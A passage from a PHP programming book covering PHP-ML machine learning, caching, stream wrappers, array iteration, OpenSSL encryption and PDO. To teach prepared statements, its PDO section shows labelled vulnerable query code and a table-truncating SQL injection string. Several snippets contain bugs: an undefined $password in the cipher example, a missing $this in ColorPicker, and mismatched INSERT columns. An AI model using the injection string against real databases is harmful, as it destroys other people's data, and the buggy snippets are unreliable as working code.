single sample as well as an array of samples.

k-Nearest Neighbors

The classfier for this algorithm takes in two parameters and can be initialized like

$classifier = new KNearestNeighbors($neighbor_num=4);

$classifier = new KNearestNeighbors($neighbor_num=3, new Minkowski($lambda=4));

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$neighbor_num is the number of nearest neighbours to scan in knn algorithm while the second parameter is
distance metric which by default in first case would be Euclidean. More on Minkowski can be found here.

Following is a short example on how to use this classifier

// Training data
$samples = [[1, 3], [1, 4], [2, 4], [3, 1], [4, 1], [4, 2]];
$labels = ['a', 'a', 'a', 'b', 'b', 'b'];

// Initialize classifier
$classifier = new KNearestNeighbors();
// Train classifier
$classifier->train($samples, $labels);

// Make predictions
$classifier->predict([3, 2]); // return 'b'
$classifier->predict([[3, 2], [1, 5]]); // return ['b', 'a']
NaiveBayes Classifier

NaiveBayes Classifier is based on Bayes' theorem and does not need any parameters in constructor.

The following code demonstrates a simple prediction implementation

// Training data
$samples = [[5, 1, 1], [1, 5, 1], [1, 1, 5]];
$labels = ['a', 'b', 'c'];

// Initialize classifier
$classifier = new NaiveBayes();
// Train classifier
$classifier->train($samples, $labels);

// Make predictions
$classifier->predict([3, 1, 1]); // return 'a'
$classifier->predict([[3, 1, 1], [1, 4, 1]); // return ['a', 'b']
Practical case

Till now we only used arrays of integer in all our case but that is not the case in real life. Therefore let me try to
describe a practical situation on how to use classifiers.

Suppose you have an application that stores characteristics of flowers in nature. For the sake of simplicity we can
consider the color and length of petals. So there two characteristics would be used to train our data. color is the
simpler one where you can assign an int value to each of them and for length, you can have a range like (0 mm,10
mm)=1 , (10 mm,20 mm)=2. With the initial data train your classifier. Now one of your user needs identify the kind
of flower that grows in his backyard. What he does is select the color of the flower and adds the length of the
petals. You classifier running can detect the type of flower ("Labels in example above")

Section 77.2: Regression

In classification using PHP-ML we assigned labels to new observation. Regression is almost the same with difference
being that the output value is not a class label but a continuous value. It is widely used for predictions and
forecasting. PHP-ML supports the following regression algorithms

Support Vector Regression

LeastSquares Linear Regression

Regression has the same train and predict methods as used in classification.

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Support Vector Regression

This is the regression version for SVM(Support Vector Machine).The first step like in classification is to train our
model.

// Import library
use Phpml\Regression\SVR;
use Phpml\SupportVectorMachine\Kernel;

// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];

// Initialize regression engine

$regression = new SVR(Kernel::LINEAR);
// Train regression engine
$regression->train($samples, $targets);

In regression $targets are not class labels as opposed to classification. This is one of the differentiating factor for
the two. After training our model with the data we can start with the actual predictions

$regression->predict([64]) // return 4.03

Note that the predictions return a value outside the target.

LeastSquares Linear Regression

This algorithm uses least squares method to approximate solution. The following demonstrates a simple code of
training and predicting

// Training data
$samples = [[60], [61], [62], [63], [65]];
$targets = [3.1, 3.6, 3.8, 4, 4.1];

// Initialize regression engine

$regression = new LeastSquares();
// Train engine
$regression->train($samples, $targets);
// Predict using trained engine
$regression->predict([64]); // return 4.06

PHP-ML also provides with the option of Multiple Linear Regression. A sample code for the same can be as
follows

$samples = [[73676, 1996], [77006, 1998], [10565, 2000], [146088, 1995], [15000, 2001], [65940,
2000], [9300, 2000], [93739, 1996], [153260, 1994], [17764, 2002], [57000, 1998], [15000, 2000]];
$targets = [2000, 2750, 15500, 960, 4400, 8800, 7100, 2550, 1025, 5900, 4600, 4400];

$regression = new LeastSquares();

$regression->train($samples, $targets);
$regression->predict([60000, 1996]) // return 4094.82

Multiple Linear Regression is particularly useful when multiple factors or traits identify the outcome.

Practical case

Now let us take an application of regression in real life scenario.

Suppose you run a very popular website, but the traffic keeps on changing. You want a solution that would predict
the number of servers you need to deploy at any given instance of time. Lets assume for the sake that your hosting

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provider gives you an api to spawn out servers and each server takes 15 minutes to boot. Based on previous data
of traffic, and regression you can predict the traffic that would hit your application at any instance of time. Using
that knowledge you can start a server 15 minutes before the surge thereby preventing your application from going
offline.

Section 77.3: Clustering

Clustering is about grouping similar objects together. It is widely used for pattern recognition. Clustering comes
under unsupervised machine learning, therefore there is no training needed. PHP-ML has support for the
following clustering algorithms

k-Means
dbscan

k-Means

k-Means separates the data into n groups of equal variance. This means that we need to pass in a number n which
would be the number of clusters we need in our solution. The following code will help bring more clarity

// Our data set

$samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]];

// Initialize clustering with parameter `n`

$kmeans = new KMeans(3);
$kmeans->cluster($samples); // return [0=>[[7, 8]], 1=>[[8, 7]], 2=>[[1,1]]]

Note that the output contains 3 arrays because because that was the value of n in KMeans constructor. There can
also be an optional second parameter in the constructor which would be the initialization method. For example
consider

$kmeans = new KMeans(4, KMeans::INIT_RANDOM);

INIT_RANDOM places a completely random centroid while trying to determine the clusters. But just to avoid the
centroid being too far away from the data, it is bound by the space boundaries of data.

The default constructor initialization method is kmeans++ which selects centroid in a smart way to speed up the
process.

DBSCAN

As opposed to KMeans, DBSCAN is a density based clustering algorithm which means that we would not be passing n
which would determine the number of clusters we want in our result. On the other hand this requires two
parameters to work

1. $minSamples : The minimum number of objects that should be present in a cluster

2. $epsilon : Which is the maximum distance between two samples for them to be considered as in the same
cluster.

A quick sample for the same is as follows

// Our sample data set

$samples = [[1, 1], [8, 7], [1, 2], [7, 8], [2, 1], [8, 9]];

$dbscan = new DBSCAN($epsilon = 2, $minSamples = 3);

$dbscan->cluster($samples); // return [0=>[[1, 1]], 1=>[[8, 7]]]

The code is pretty much self explanatory. One major difference is that there is no way of knowing the number of

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elements in output array as opposed to KMeans.

Practical Case

Let us now have a look on using clustering in real life scenario

Clustering is widely used in pattern recognition and data mining. Consider that you have a content publishing
application. Now in order to retain your users they should look at content that they love. Let us assume for the sake
of simplicity that if they are on a specific webpage for more that a minute and they scoll to bottom then they love
that content. Now each of your content will be having a unique identifier with it and so will the user. Make cluster
based on that and you will get to know which segment of users have a similar content taste. This in turn could be
used in recommendation system where you can assume that if some users of same cluster love the article then so
will others and that can be shown as recommendations on your application.

Chapter 78: Cache

Section 78.1: Caching using memcache
Memcache is a distributed object caching system and uses key-value for storing small data. Before you start calling
Memcache code into PHP, you need to make sure that it is installed. That can be done using class_exists method in
php. Once it is validated that the module is installed, you start with connecting to memcache server instance.

if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
}else {
print "Not connected to cache server";
}

This will validate that Memcache php-drivers are installed and connect to memcache server instance running on
localhost.

Memcache runs as a daemon and is called memcached

In the example above we only connected to a single instance, but you can also connect to multiple servers using

if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->addServer('192.168.0.100',11211);
$cache->addServer('192.168.0.101',11211);
}

Note that in this case unlike connect , there wont be any active connection until you try to store or fetch a value.

In caching there are three important operations that needs to be implemented

1. Store data : Add new data to memcached server

2. Get data : Fetch data from memcached server
3. Delete data : Delete already existing data from memcached server

Store data

$cache or memcached class object has a set method that takes in a key,value and time to save the value for (ttl).

$cache->set($key, $value, 0, $ttl);

Here $ttl or time to live is time in seconds that you want memcache to store the pair on server.

Complete PHP Tips & Secrets for Professionals 315

Get data

$cache or memcached class object has a get method that takes in a key and returns the corresponding value.

$value = $cache->get($key);

In case there is no value set for the key it will return null

Delete data

Sometimes you might have the need to delete some cache value.$cache or memcache instance has a delete
method that can be used for the same.

$cache->delete($key);
Small scenario for caching

Let us assume a simple blog. It will be having multiple posts on landing page that get fetched from database with
each page load. In order to reduce the sql queries we can use memcached to cache the posts. Here is a very small
implementation

if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
if(($data = $cache->get('posts')) != null) {
// Cache hit
// Render from cache
} else {
// Cache miss
// Query database and save results to database
// Assuming $posts is array of posts retrieved from database
$cache->set('posts', $posts,0,$ttl);
}
}else {
die("Error while connecting to cache server");
}

Section 78.2: Cache Using APC Cache

The Alternative PHP Cache (APC) is a free and open opcode cache for PHP. Its goal is to provide a free, open, and
robust framework for caching and optimizing PHP intermediate code.

installation

sudo apt-get install php-apc

sudo /etc/init.d/apache2 restart

Add Cache:

apc_add ($key, $value , $ttl);

$key = unique cache key
$value = cache value
$ttl = Time To Live;

Delete Cache:

apc_delete($key);

Set Cache Example:

if (apc_exists($key)) {

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 echo "Key exists: ";
echo apc_fetch($key);
} else {
echo "Key does not exist";
apc_add ($key, $value , $ttl);
}

Performance:

APC is nearly 5 times faster than Memcached.

Chapter 79: Streams

Every stream has a scheme and a target:
<scheme>://<target>

Parameter Name Description

Stream Resource The data provider consisting of the <scheme>://<target> syntax

Section 79.1: Registering a stream wrapper

A stream wrapper provides a handler for one or more specific schemes.

The example below shows a simple stream wrapper that sends PATCH HTTP requests when the stream is closed.

// register the FooWrapper class as a wrapper for foo:// URLs.

stream_wrapper_register("foo", FooWrapper::class, STREAM_IS_URL) or die("Duplicate stream wrapper
registered");

class FooWrapper {
// this will be modified by PHP to show the context passed in the current call.
public $context;

// this is used in this example internally to store the URL

private $url;

// when fopen() with a protocol for this wrapper is called, this method can be implemented to
store data like the host.
public function stream_open(string $path, string $mode, int $options, string &$openedPath) :
bool {
$url = parse_url($path);
if($url === false) return false;
$this->url = $url["host"] . "/" . $url["path"];
return true;
}

// handles calls to fwrite() on this stream

public function stream_write(string $data) : int {
$this->buffer .= $data;
return strlen($data);
}

// handles calls to fclose() on this stream

public function stream_close() {
$curl = curl_init("http://" . $this->url);
curl_setopt($curl, CURLOPT_POSTFIELDS, $this->buffer);
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "PATCH");
curl_exec($curl);
curl_close($curl);
$this->buffer = "";
}

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 // fallback exception handler if an unsupported operation is attempted.
// this is not necessary.
public function __call($name, $args) {
throw new \RuntimeException("This wrapper does not support $name");
}

// this is called when unlink("foo://something-else") is called.

public function unlink(string $path) {
$url = parse_url($path);
$curl = curl_init("http://" . $url["host"] . "/" . $url["path"]);
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "DELETE");
curl_exec($curl);
curl_close($curl);
}
}

This example only shows some examples of what a generic stream wrapper would contain. These are not all
methods available. A full list of methods that can be implemented can be found at http://php.net/streamWrapper.

Chapter 80: Array iteration

for ($i = 0; $i < count($array); $i++) { incremental_iteration(); }
for ($i = count($array) - 1; $i >= 0; $i--) { reverse_iteration(); }
foreach ($data as $datum) { }
foreach ($data as $key => $datum) { }
foreach ($data as &$datum) { }

Section 80.1: Iterating multiple arrays together

Sometimes two arrays of the same length need to be iterated together, for example:

$people = ['Tim', 'Tony', 'Turanga'];

$foods = ['chicken', 'beef', 'slurm'];

array_map is the simplest way to accomplish this:

array_map(function($person, $food) {
return "$person likes $food\n";
}, $people, $foods);

which will output:

Tim likes chicken

Tony likes beef
Turanga likes slurm

This can be done through a common index:

assert(count($people) === count($foods));

for ($i = 0; $i < count($people); $i++) {
echo "$people[$i] likes $foods[$i]\n";
}

If the two arrays don't have the incremental keys, array_values($array)[$i] can be used to replace $array[$i].

If both arrays have the same order of keys, you can also use a foreach-with-key loop on one of the arrays:

foreach ($people as $index => $person) {

$food = $foods[$index];
echo "$person likes $food\n";

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}

Separate arrays can only be looped through if they are the same length and also have the same key name. This
means if you don't supply a key and they are numbered, you will be fine, or if you name the keys and put them in
the same order in each array.

You can also use array_combine.

$combinedArray = array_combine($people, $foods);

// $combinedArray = ['Tim' => 'chicken', 'Tony' => 'beef', 'Turanga' => 'slurm'];

Then you can loop through this by doing the same as before:

foreach ($combinedArray as $person => $meal) {

echo "$person likes $meal\n";
}

Section 80.2: Using an incremental index

This method works by incrementing an integer from 0 to the greatest index in the array.

$colors = ['red', 'yellow', 'blue', 'green'];

for ($i = 0; $i < count($colors); $i++) {
echo 'I am the color ' . $colors[$i] . '<br>';
}

This also allows iterating an array in reverse order without using array_reverse, which may result in overhead if
the array is large.

$colors = ['red', 'yellow', 'blue', 'green'];

for ($i = count($colors) - 1; $i >= 0; $i--) {
echo 'I am the color ' . $colors[$i] . '<br>';
}

You can skip or rewind the index easily using this method.

$array = ["alpha", "beta", "gamma", "delta", "epsilon"];

for ($i = 0; $i < count($array); $i++) {
echo $array[$i], PHP_EOL;
if ($array[$i] === "gamma") {
$array[$i] = "zeta";
$i -= 2;
} elseif ($array[$i] === "zeta") {
$i++;
}
}

Output:

alpha
beta
gamma
beta
zeta
epsilon

For arrays that do not have incremental indices (including arrays with indices in reverse order, e.g. [1 => "foo", 0
=> "bar"], ["foo" => "f", "bar" => "b"]), this cannot be done directly. array_values or array_keys can be
used instead:

$array = ["a" => "alpha", "b" => "beta", "c" => "gamma", "d" => "delta"];

Complete PHP Tips & Secrets for Professionals 319

$keys = array_keys($array);
for ($i = 0; $i < count($array); $i++) {
$key = $keys[$i];
$value = $array[$key];
echo "$value is $key\n";
}

Section 80.3: Using internal array pointers

Each array instance contains an internal pointer. By manipulating this pointer, different elements of an array can be
retrieved from the same call at different times.

Using each

Each call to each() returns the key and value of the current array element, and increments the internal array
pointer.

$array = ["f" => "foo", "b" => "bar"];

while (list($key, $value) = each($array)) {
echo "$value begins with $key";
}
Using next
$array = ["Alpha", "Beta", "Gamma", "Delta"];
while (($value = next($array)) !== false) {
echo "$value\n";
}

Note that this example assumes no elements in the array are identical to boolean false. To prevent such
assumption, use key to check if the internal pointer has reached the end of the array:

$array = ["Alpha", "Beta", "Gamma", "Delta"];

while (key($array) !== null) {
echo current($array) . PHP_EOL;
next($array);
}

This also facilitates iterating an array without a direct loop:

class ColorPicker {
private $colors = ["#FF0064", "#0064FF", "#64FF00", "#FF6400", "#00FF64", "#6400FF"];
public function nextColor() : string {
$result = next($colors);
// if end of array reached
if (key($colors) === null) {
reset($colors);
}
return $result;
}
}

Section 80.4: Using foreach

Direct loop
foreach ($colors as $color) {
echo "I am the color $color<br>";
}
Loop with keys
$foods = ['healthy' => 'Apples', 'bad' => 'Ice Cream'];
foreach ($foods as $key => $food) {
echo "Eating $food is $key";

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}
Loop by reference

In the foreach loops in the above examples, modifying the value ($color or $food) directly doesn't change its value
in the array. The & operator is required so that the value is a reference pointer to the element in the array.

$years = [2001, 2002, 3, 4];

foreach ($years as &$year) {
if ($year < 2000) $year += 2000;
}

This is similar to:

$years = [2001, 2002, 3, 4];

for($i = 0; $i < count($years); $i++) { // these two lines
$year = &$years[$i]; // are changed to foreach by reference
if($year < 2000) $year += 2000;
}
Concurrency

PHP arrays can be modified in any ways during iteration without concurrency problems (unlike e.g. Java Lists). If
the array is iterated by reference, later iterations will be affected by changes to the array. Otherwise, the changes to
the array will not affect later iterations (as if you are iterating a copy of the array instead). Compare looping by
value:

$array = [0 => 1, 2 => 3, 4 => 5, 6 => 7];

foreach ($array as $key => $value) {
if ($key === 0) {
$array[6] = 17;
unset($array[4]);
}
echo "$key => $value\n";
}

Output:

0 => 1
2 => 3
4 => 5
6 => 7

But if the array is iterated with reference,

$array = [0 => 1, 2 => 3, 4 => 5, 6 => 7];

foreach ($array as $key => &$value) {
if ($key === 0) {
$array[6] = 17;
unset($array[4]);
}
echo "$key => $value\n";
}

Output:

0 => 1
2 => 3
6 => 17

The key-value set of 4 => 5 is no longer iterated, and 6 => 7 is changed to 6 => 17.

Complete PHP Tips & Secrets for Professionals 321

Section 80.5: Using ArrayObject Iterator
Php arrayiterator allows you to modify and unset the values while iterating over arrays and objects.

Example:

$array = ['1' => 'apple', '2' => 'banana', '3' => 'cherry'];

$arrayObject = new ArrayObject($array);

$iterator = $arrayObject->getIterator();

for($iterator; $iterator->valid(); $iterator->next()) {

echo $iterator->key() . ' => ' . $iterator->current() . "</br>";
}

Output:

1 => apple
2 => banana
3 => cherry

Chapter 81: Cryptography

Section 81.1: Symmetric Encryption and Decryption of large Files with
OpenSSL
PHP lacks a build-in function to encrypt and decrypt large files. openssl_encrypt can be used to encrypt strings, but
loading a huge file into memory is a bad idea.

So we have to write a userland function doing that. This example uses the symmetric AES-128-CBC algorithm to
encrypt smaller chunks of a large file and writes them into another file.

Encrypt Files
/**
* Define the number of blocks that should be read from the source file for each chunk.
* For 'AES-128-CBC' each block consist of 16 bytes.
* So if we read 10,000 blocks we load 160kb into memory. You may adjust this value
* to read/write shorter or longer chunks.
*/
define('FILE_ENCRYPTION_BLOCKS', 10000);

/**
* Encrypt the passed file and saves the result in a new file with ".enc" as suffix.
*
* @param string $source Path to file that should be encrypted
* @param string $key The key used for the encryption
* @param string $dest File name where the encryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error occured
*/
function encryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);
$iv = openssl_random_pseudo_bytes(16);

$error = false;
if ($fpOut = fopen($dest, 'w')) {
// Put the initialzation vector to the beginning of the file
fwrite($fpOut, $iv);
if ($fpIn = fopen($source, 'rb')) {

Complete PHP Tips & Secrets for Professionals 322

 while (!feof($fpIn)) {
$plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
$ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,
$iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $ciphertext);
}
fclose($fpIn);
} else {
$error = true;
}
fclose($fpOut);
} else {
$error = true;
}

return $error ? false : $dest;

}
Decrypt Files

To decrypt files that have been encrypted with the above function you can use this function.

/**
* Dencrypt the passed file and saves the result in a new file, removing the
* last 4 characters from file name.
*
* @param string $source Path to file that should be decrypted
* @param string $key The key used for the decryption (must be the same as for encryption)
* @param string $dest File name where the decryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error occured
*/
function decryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);

$error = false;
if ($fpOut = fopen($dest, 'w')) {
if ($fpIn = fopen($source, 'rb')) {
// Get the initialzation vector from the beginning of the file
$iv = fread($fpIn, 16);
while (!feof($fpIn)) {
$ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // we have to read
one block more for decrypting than for encrypting
$plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,
$iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $plaintext);
}
fclose($fpIn);
} else {
$error = true;
}
fclose($fpOut);
} else {
$error = true;
}

return $error ? false : $dest;

}
How to use

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If you need a small snippet to see how this works or to test the above functions, look at the following code.

$fileName = __DIR__.'/testfile.txt';
$key = 'my secret key';
file_put_contents($fileName, 'Hello World, here I am.');
encryptFile($fileName, $key, $fileName . '.enc');
decryptFile($fileName . '.enc', $key, $fileName . '.dec');

This will create three files:

1. testfile.txt with the plain text

2. testfile.txt.enc with the encrypted file
3. testfile.txt.dec with the decrypted file. This should have the same content as testfile.txt

Section 81.2: Symmetric Cipher

This example illustrates the AES 256 symmetric cipher in CBC mode. An initialization vector is needed, so we
generate one using an openssl function. The variable $strong is used to determine whether the IV generated was
cryptographically strong.

Encryption
$method = "aes-256-cbc"; // cipher method
$iv_length = openssl_cipher_iv_length($method); // obtain required IV length
$strong = false; // set to false for next line
$iv = openssl_random_pseudo_bytes($iv_length, $strong); // generate initialization vector

/* NOTE: The IV needs to be retrieved later, so store it in a database.

However, do not reuse the same IV to encrypt the data again. */

if(!$strong) { // throw exception if the IV is not cryptographically strong

throw new Exception("IV not cryptographically strong!");
}

$data = "This is a message to be secured."; // Our secret message

$pass = "Stack0verfl0w"; // Our password

/* NOTE: Password should be submitted through POST over an HTTPS session.

Here, it's being stored in a variable for demonstration purposes. */

$enc_data = openssl_encrypt($data, $method, $password, true, $iv); // Encrypt

Decryption
/* Retrieve the IV from the database and the password from a POST request */
$dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); // Decrypt
Base64 Encode & Decode

If the encrypted data needs to be sent or stored in printable text, then the base64_encode() and base64_decode()
functions should be used respectively.

/* Base64 Encoded Encryption */

$enc_data = base64_encode(openssl_encrypt($data, $method, $password, true, $iv));

/* Decode and Decrypt */

$dec_data = openssl_decrypt(base64_decode($enc_data), $method, $password, true, $iv);

Chapter 82: PDO

PDO::LastInsertId()
PDO::LastInsertId($columnName) // some drivers need the column name

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The PDO (PHP Data Objects) extension allows developers to connect to numerous different types of databases and
execute queries against them in a uniform, object oriented manner.

Section 82.1: Preventing SQL injection with Parameterized Queries

SQL injection is a kind of attack that allows a malicious user to modify the SQL query, adding unwanted commands
to it. For example, the following code is vulnerable:

// Do not use this vulnerable code!

$sql = 'SELECT name, email, user_level FROM users WHERE userID = ' . $_GET['user'];
$conn->query($sql);

This allows any user of this script to modify our database basically at will. For example consider the following query
string:

page.php?user=0;%20TRUNCATE%20TABLE%20users;

This makes our example query look like this

SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users;

While this is an extreme example (most SQL injection attacks do not aim to delete data, nor do most PHP query
execution functions support multi-query), this is an example of how a SQL injection attack can be made possible by
the careless assembly of the query. Unfortunately, attacks like this are very common, and are highly effective due to
coders who fail to take proper precautions to protect their data.

To prevent SQL injection from occurring, prepared statements are the recommended solution. Instead of
concatenating user data directly to the query, a placeholder is used instead. The data is then sent separately, which
means there is no chance of the SQL engine confusing user data for a set of instructions.

While the topic here is PDO, please note that the PHP MySQLi extension also supports prepared statements

PDO supports two kinds of placeholders (placeholders cannot be used for column or table names, only values):

1. Named placeholders. A colon(:), followed by a distinct name (eg. :user)

// using named placeholders

$sql = 'SELECT name, email, user_level FROM users WHERE userID = :user';
$prep = $conn->prepare($sql);
$prep->execute(['user' => $_GET['user']]); // associative array
$result = $prep->fetchAll();

2. Traditional SQL positional placeholders, represented as ?:

// using question-mark placeholders

$sql = 'SELECT name, user_level FROM users WHERE userID = ? AND user_level = ?';
$prep = $conn->prepare($sql);
$prep->execute([$_GET['user'], $_GET['user_level']]); // indexed array
$result = $prep->fetchAll();

If ever you need to dynamically change table or column names, know that this is at your own security risks and a
bad practice. Though, it can be done by string concatenation. One way to improve security of such queries is to set
a table of allowed values and compare the value you want to concatenate to this table.

Be aware that it is important to set connection charset through DSN only, otherwise your application could be
prone to an obscure vulnerability if some odd encoding is used. For PDO versions prior to 5.3.6 setting charset
through DSN is not available and thus the only option is to set PDO::ATTR_EMULATE_PREPARES attribute to false on

Complete PHP Tips & Secrets for Professionals 325

the connection right after it’s created.

$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

This causes PDO to use the underlying DBMS’s native prepared statements instead of just emulating it.

However, be aware that PDO will silently fallback to emulating statements that MySQL cannot prepare natively:
those that it can are listed in the manual (source).

Section 82.2: Basic PDO Connection and Retrieval

Since PHP 5.0, PDO has been available as a database access layer. It is database agnostic, and so the following
connection example code should work for any of its supported databases simply by changing the DSN.

// First, create the database handle

//Using MySQL (connection via local socket):

$dsn = "mysql:host=localhost;dbname=testdb;charset=utf8";

//Using MySQL (connection via network, optionally you can specify the port too):
//$dsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;charset=utf8";

//Or Postgres
//$dsn = "pgsql:host=localhost;port=5432;dbname=testdb;";

//Or even SQLite

//$dsn = "sqlite:/path/to/database"

$username = "user";
$password = "pass";
$db = new PDO($dsn, $username, $password);

// setup PDO to throw an exception if an invalid query is provided

$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// Next, let's prepare a statement for execution, with a single placeholder

$query = "SELECT * FROM users WHERE class = ?";
$statement = $db->prepare($query);

// Create some parameters to fill the placeholders, and execute the statement
$parameters = [ "221B" ];
$statement->execute($parameters);

// Now, loop through each record as an associative array

while ($row = $statement->fetch(PDO::FETCH_ASSOC)) {
do_stuff($row);
}

The prepare function creates a PDOStatement object from the query string. The execution of the query and retrieval
of the results are performed on this returned object. In case of a failure, the function either returns false or throws
an exception (depending upon how the PDO connection was configured).

Section 82.3: Database Transactions with PDO

Database transactions ensure that a set of data changes will only be made permanent if every statement is
successful. Any query or code failure during a transaction can be caught and you then have the option to roll back
the attempted changes.

PDO provides simple methods for beginning, committing, and rollbacking back transactions.

Complete PHP Tips & Secrets for Professionals 326

$pdo = new PDO(
$dsn,
$username,
$password,
array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
);

try {
$statement = $pdo->prepare("UPDATE user SET name = :name");

$pdo->beginTransaction();

$statement->execute(["name"=>'Bob']);
$statement->execute(["name"=>'Joe']);

$pdo->commit();
}
catch (\Exception $e) {
if ($pdo->inTransaction()) {
$pdo->rollback();
// If we got here our two data updates are not in the database
}
throw $e;
}

During a transaction any data changes made are only visible to the active connection. SELECT statements will return
the altered changes even if they are not yet committed to the database.

Note: See database vendor documentation for details about transaction support. Some systems do not support
transactions at all. Some support nested transactions while others do not.

Practical Example Using Transactions with PDO

In the following section is demonstrated a practical real world example where the use of transactions ensures the
consistency of database.

Imagine the following scenario, let's say you are building a shopping cart for an e-commerce website and you
decided to keep the orders in two database tables. One named orders with the fields order_id, name, address,
telephone and created_at. And a second one named orders_products with the fields order_id, product_id and
quantity. The first table contains the metadata of the order while the second one the actual products that have
been ordered.

Inserting a new order to the database

To insert a new order into the database you need to do two things. First you need to INSERT a new record inside the
orders table that will contain the metadata of the order (name, address, etc). And then you need to INSERT one
record into the orders_products table, for each one of the products that are included in the order.

You could do this by doing something similar to the following:

// Insert the metadata of the order into the database

$preparedStatement = $db->prepare(
'INSERT INTO `orders` (`name`, `address`, `telephone`, `created_at`)
VALUES (:name, :address, :telephone, :created_at)'
);

$preparedStatement->execute([
'name' => $name,
'address' => $address,

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 'telephone' => $telephone,
'created_at' => time(),
]);

// Get the generated `order_id`

$orderId = $db->lastInsertId();

// Construct the query for inserting the products of the order

$insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`)
VALUES';

$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' .
$count . ')';

$insertProductsParams['order_id' . $count] = $orderId;

$insertProductsParams['product_id' . $count] = $productId;
$insertProductsParams['quantity' . $count] = $quantity;

++$count;
}

// Insert the products included in the order into the database

$preparedStatement = $db->prepare($insertProductsQuery);
$preparedStatement->execute($insertProductsParams);

This will work great for inserting a new order into the database, until something unexpected happens and for some
reason the second INSERT query fails. If that happens you will end up with a new order inside the orders table,
which will have no products associated to it. Fortunately, the fix is very simple, all you have to do is to make the
queries in the form of a single database transaction.

Inserting a new order into the database with a transaction

To start a transaction using PDO all you have to do is to call the beginTransaction method before you execute any
queries to your database. Then you make any changes you want to your data by executing INSERT and / or UPDATE
queries. And finally you call the commit method of the PDO object to make the changes permanent. Until you call the
commit method every change you have done to your data up to this point is not yet permanent, and can be easily
reverted by simply calling the rollback method of the PDO object.

On the following example is demonstrated the use of transactions for inserting a new order into the database,
while ensuring the same time the consistency of the data. If one of the two queries fails all the changes will be
reverted.

// In this example we are using MySQL but this applies to any database that has support for
transactions
$db = new PDO('mysql:host=' . $host . ';dbname=' . $dbname . ';charset=utf8', $username,
$password);

// Make sure that PDO will throw an exception in case of error to make error handling easier
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try {
// From this point and until the transaction is being committed every change to the database can
be reverted
$db->beginTransaction();

// Insert the metadata of the order into the database

$preparedStatement = $db->prepare(
'INSERT INTO `orders` (`order_id`, `name`, `address`, `created_at`)

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 VALUES (:name, :address, :telephone, :created_at)'
);

$preparedStatement->execute([
'name' => $name,
'address' => $address,
'telephone' => $telephone,
'created_at' => time(),
]);

// Get the generated `order_id`

$orderId = $db->lastInsertId();

// Construct the query for inserting the products of the order

$insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`)
VALUES';

$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' .
$count . ')';

$insertProductsParams['order_id' . $count] = $orderId;

$insertProductsParams['product_id' . $count] = $productId;
$insertProductsParams['quantity' . $count] = $quantity;

++$count;
}

// Insert the products included in the order into the database

$preparedStatement = $db->prepare($insertProductsQuery);
$preparedStatement->execute($insertProductsParams);

// Make the changes to the database permanent

$db->commit();
}
catch ( PDOException $e ) {
// Failed to insert the order into the database so we rollback any changes
$db->rollback();
throw $e;
}

Section 82.4: PDO: connecting to MySQL/MariaDB server

There are two ways to connect to a MySQL/MariaDB server, depending on your infrastructure.

Standard (TCP/IP) connection

$dsn = 'mysql:dbname=demo;host=server;port=3306;charset=utf8';
$connection = new \PDO($dsn, $username, $password);

// throw exceptions, when SQL error is caused

$connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);
// prevent emulation of prepared statements
$connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false);

Since PDO was designed to be compatible with older MySQL server versions (which did not have support for
prepared statements), you have to explicitly disable the emulation. Otherwise, you will lose the added injection
prevention benefits, that are usually granted by using prepared statements.

Another design compromise, that you have to keep in mind, is the default error handling behavior. If not otherwise
configured, PDO will not show any indications of SQL errors.

Complete PHP Tips & Secrets for Professionals 329

It is strongly recommended setting it to "exception mode", because that gains you additional functionality, when
writing persistence abstractions (for example: having an exception, when violating UNIQUE constraint).

Socket connection
$dsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8';
$connection = new \PDO($dsn, $username, $password);

// throw exceptions, when SQL error is caused

$connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);
// prevent emulation of prepared statements
$connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false);

On unix-like systems, if host name is 'localhost', then the connection to the server is made through a domain
socket.

Section 82.5: PDO: Get number of aected rows by a query

We start off with $db, an instance of the PDO class. After executing a query we often want to determine the number
of rows that have been affected by it. The rowCount() method of the PDOStatement will work nicely:

